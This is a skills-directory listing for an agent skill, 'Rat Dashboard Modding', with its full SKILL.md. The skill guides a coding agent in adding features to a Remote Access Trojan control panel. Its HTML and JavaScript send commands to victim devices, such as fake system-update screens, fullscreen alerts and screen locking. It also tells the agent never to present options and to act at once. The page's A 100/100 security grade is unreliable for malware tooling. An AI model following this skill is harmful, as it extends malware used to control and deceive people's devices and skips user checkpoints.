Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsCommunityBlog
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

Back to skills

Rat Dashboard Modding

ASecurity

Add features to RAT HTML dashboards via targeted injection.

2 stars
0 votes
0 copies
0 views
Added 9/19/2026
developmentjavascriptpythongojavatestingbackend

Works with

cli

Security Analysis

A100/100

Scanned 9/19/2026

Install to Claude Code

$npx -y skills add harezadmm/hermes-brutal-mod --skill rat-dashboard-modding --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Rat Dashboard Modding?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Rat Dashboard Modding
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-rat-dashboard-modding/badge)](https://www.skillsdirectory.com/skills/harezadmm-rat-dashboard-modding)

More formats (shields.io, HTML) on the badges page.

Download Zip
Files
SKILL.md
---
name: rat-dashboard-modding
description: Add features to RAT HTML dashboards via targeted injection.
tags: [rat, html-injection, dashboard, remote-access, javascript]
---

# RAT Dashboard Modding

Use when adding new features to existing RAT HTML dashboard interfaces (single-file HTML+CSS+JS).

## When to Use

- User requests new features for RAT dashboard ("tambahkan button dua fitur baru")
- Need to inject new pages/buttons/functions into existing dashboard
- Must preserve existing functionality while adding capabilities

## Critical User Preference

**NEVER present options.** Indonesian user demands: "GAUSAH PAKAI ATAU ATAU LU FIX LANSUNG YG TEGAS"

- ONE solution executed immediately
- No "you could do A or B" — pick best approach and do it
- No asking which method to use

## Workflow

### 1. Download Clean Version
```python
import requests
r = requests.get('https://gofile.io/d/xxxxx')
# Parse download link, get HTML file
```

### 2. Parse Structure
Identify existing patterns:
- Bottom navigation structure (`<div class="bottom-nav">`)
- Page container structure (`<div class="page" id="page-xxx">`)
- JavaScript socket command pattern (`socket.emit('command', ...)`)
- Active page switching function (`goPage('pageName')`)

### 3. Inject New Pages
Insert new page HTML BEFORE closing `</body>`:

```html
<!-- EMERGENCY ALERT FEATURE -->
<div class="page" id="page-emergency">
  <div class="card">
    <h3>⚠️ Emergency Alert</h3>
    <input type="text" id="emergencyTitle" placeholder="Alert Title" />
    <textarea id="emergencyMessage" placeholder="Alert Message"></textarea>
    <button onclick="sendEmergencyAlert()">Send Alert</button>
  </div>
</div>

<!-- FAKE SYSTEM UPDATE FEATURE -->
<div class="page" id="page-fake-update">
  <div class="card">
    <h3>📱 Fake System Update</h3>
    <input type="number" id="updateDuration" placeholder="Duration (seconds)" value="30" />
    <button onclick="sendFakeUpdate()">Launch Fake Update</button>
  </div>
</div>
```

### 4. Inject Navigation Buttons
Add buttons to bottom nav, preserving existing structure:

```html
<div class="bottom-nav">
  <!-- EXISTING BUTTONS STAY HERE -->
  <button onclick="goPage('emergency')" id="btn-emergency">
    <span>⚠️</span>Emergency
  </button>
  <button onclick="goPage('fake-update')" id="btn-fake-update">
    <span>📱</span>Fake Update
  </button>
</div>
```

### 5. Inject JavaScript Functions
Add new functions BEFORE closing `</script>`:

```javascript
function sendEmergencyAlert() {
  const title = document.getElementById('emergencyTitle').value;
  const message = document.getElementById('emergencyMessage').value;
  
  if (!title || !message) {
    alert('Fill all fields!');
    return;
  }
  
  socket.emit('command', {
    id: currentDevice,
    cmd: 'emergency_alert',
    title: title,
    message: message
  });
  
  alert('Emergency alert sent!');
}

function sendFakeUpdate() {
  const duration = document.getElementById('updateDuration').value;
  
  socket.emit('command', {
    id: currentDevice,
    cmd: 'fake_system_update',
    duration: parseInt(duration)
  });
  
  alert('Fake update launched!');
}
```

### 6. Update Active State Handler
Modify `goPage()` function to include new pages in active button logic:

```javascript
function goPage(page) {
  // Hide all pages
  document.querySelectorAll('.page').forEach(p => p.classList.remove('active'));
  
  // Show target page
  document.getElementById('page-' + page).classList.add('active');
  
  // Update button active states
  document.querySelectorAll('.bottom-nav button').forEach(btn => {
    btn.classList.remove('active');
  });
  
  // NEW: Add new page button IDs
  const btnMap = {
    'home': 'btn-home',
    'chat': 'btn-chat',
    'emergency': 'btn-emergency',        // NEW
    'fake-update': 'btn-fake-update'     // NEW
  };
  
  if (btnMap[page]) {
    document.getElementById(btnMap[page]).classList.add('active');
  }
}
```

### 7. Upload Result
```python
# Upload to gofile.io
files = {'file': open('dashboard_modded.html', 'rb')}
r = requests.post('https://store1.gofile.io/uploadFile', files=files)
result = r.json()
download_link = f"https://gofile.io/d/{result['data']['code']}"
```

## Injection Pattern Summary

1. **New Pages** → Insert before `</body>`
2. **New Buttons** → Insert in `.bottom-nav` container
3. **New Functions** → Insert before closing `</script>`
4. **Active State** → Update `goPage()` button map
5. **Socket Commands** → Follow existing `socket.emit('command', {...})` pattern

## Socket Command Pattern

All RAT commands follow this structure:

```javascript
socket.emit('command', {
  id: currentDevice,           // Target device ID
  cmd: 'command_name',         // Command identifier
  param1: value1,              // Command-specific params
  param2: value2
});
```

Common commands:
- `emergency_alert` — Show fullscreen alert
- `fake_system_update` — Display fake update screen
- `lock_screen` — Lock device
- `vibrate` — Vibrate device
- `toast` — Show toast message

## Pitfalls

**Pitfall: Misunderstanding request scope**
User says "tambahkan button dua fitur baru" = ADD 2 new buttons, not modify existing button
- ❌ BAD: Change "Chat" button to "Chat Public"
- ✅ GOOD: Add 2 completely new buttons (Emergency Alert + Fake System Update)

**Pitfall: Breaking existing navigation**
Injecting new buttons without updating `goPage()` button map breaks active state
- **Fix:** Always update `btnMap` object in `goPage()` with new page IDs

**Pitfall: Inserting in wrong location**
Pages inserted AFTER `</body>` won't render
- **Fix:** Insert new page HTML BEFORE closing `</body>` tag

**Pitfall: Inconsistent socket command structure**
Using different command format than existing code breaks backend handling
- **Fix:** Always follow `socket.emit('command', {id, cmd, ...params})` pattern

## Verification

After injection:
1. Check all closing tags present (`</div>`, `</script>`, `</body>`)
2. Verify button `onclick` handlers match `goPage('page-name')` format
3. Confirm socket commands include `id: currentDevice`
4. Test file size reasonable (<500KB for single HTML)

## Related Skills

- `web-pentesting-tools` — Building RAT control interfaces from scratch
- `incremental-feature-enhancement` — Similar pattern for Python apps

Attribution

harezadmmharezadmm
View sourceMore from harezadmm →
SSkills DirectorySkills Directory

Your tool, in front of Claude Code builders.

3 founder slots · $299/mo · GSC-verified traffic · sponsors can never buy grades.

See placements

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Your tool, in front of Claude Code builders.

3 founder slots · $299/mo · GSC-verified traffic · sponsors can never buy grades.

See placements

Related Skills

Browser Extension Developer

Use this skill when developing or maintaining browser extension code in the `browser/` directory, including Chrome/Firefox/Edge compatibility, content scripts, background scripts, or i18n updates.

281612 votes

Seo Optimizer

SEO optimization with keyword analysis, readability assessment, technical validation, content quality. Use for search rankings, blog posts, content audits, or encountering keyword density, readability scores, meta tags, schema markup errors.

2132 votes

Google Official Seo Guide

Official Google SEO guide covering search optimization, best practices, Search Console, crawling, indexing, and improving website search visibility based on official Google documentation

1862 votes

Tanstack Start

Build a full-stack TanStack Start app on Cloudflare Workers from scratch — SSR, file-based routing, server functions, D1+Drizzle, better-auth, Tailwind v4+shadcn/ui. Use whenever the user mentions TanStack Start, asks to scaffold a full-stack Cloudflare app with SSR, wants an SSR dashboard, or asks for a React 19 + Cloudflare Workers app with file-based routing and server functions — even if they don't name TanStack Start specifically. No template repo — Claude generates every file fresh per ...

9881 votes

Pentest

PTES-aligned adversarial security audit for backend, frontend, and mobile applications. Produces a CVSS-scored Hacker Report with verified PoCs and phased remediation.

5491 votes
View all in development →